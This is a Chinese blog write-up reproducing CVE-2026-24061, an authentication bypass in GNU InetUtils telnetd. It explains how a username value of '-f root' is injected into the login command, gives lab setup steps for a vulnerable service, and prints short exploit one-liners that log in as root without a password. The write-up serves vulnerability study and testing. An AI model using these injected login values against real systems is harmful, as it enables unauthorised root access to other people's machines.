CVE-2026-24061复现

Aim

CVE-2026-24061inetutils-telnetd远程认证绕过漏洞复现

Principle

字符拼接,通过构造恶意环境变量USER的值(如-f root),绕过Telnet服务的身份验证流程,直接以root权限登录目标系统。该漏洞源于telnetd在调用/usr/bin/login时未对输入参数进行有效性校验,导致恶意参数被注入并执行。

1
2
3
4
5
6
字符拼接模板

PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

case 'u":
return user_name ? xstrdup (user_name) : NULL;
片段 含义说明
PATH_LOGIN 一个宏,一般定义为系统中 login 程序的完整路径,例如 “/bin/login”
-p Preserve environment:保留当前环境变量(不被 login 清空)
-h %h 指定远程主机名或 IP;%h 会被替换为客户端地址(如 192.168.1.100
%?u{A}{B} 条件表达式:如果“用户名已知”(即 u 有值),则使用 A;否则使用 B
-f %u “快速登录”模式(fast login),%u 替换为用户名;可能跳过密码验证(依赖系统配置)
%U 通常表示用户的 UID(数字 ID),但在此上下文中更可能是备用的用户名占位符(不同实现略有差异)
受影响组件版本范围GNU InetUtils telnetd>=1.9.3, <=2.7

Process&&Poc

build telnet

added knowledge

1
2
3
4
5
6
7
8
9
10
11
[远程用户] 

└─(使用 telnet 客户端)───┐

[目标主机:23端口]

由 inetd 监听(若启用)

启动 inetutils-telnetd

提供登录 shell 给客户端
1
2
3
4
5
sudo apt-get install inetutils-telnetd telnet
# sudo sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf up主的靶机配置
#这里笔者直接添加,注释原内容
telnet stream tcp nowait root /usr/sbin/telnetd telnetd
sudo /etc/init.d/inetutils-inetd start

exploit

1
2
3
USER='-f root' telnet -a vulnerable-ip 192.168.175.129
or
telnet -l "-f root" vulnerable-ip

这里用的是metasploitable2做测试,直接添加echo pts/0 > /etc/securetty,测试效果不理想,可以参考秀逗猫师傅起docker。

这个洞不能说没有用,还是局限性太多,杨修啖酪了。

Refer

启明星程

b站up

秀逗猫


CVE-2026-24061复现
https://alenirving.github.io/2026/01/23/CVE-2026-24061复现/
作者
Ma5k
许可协议
CC-BY-NC-SA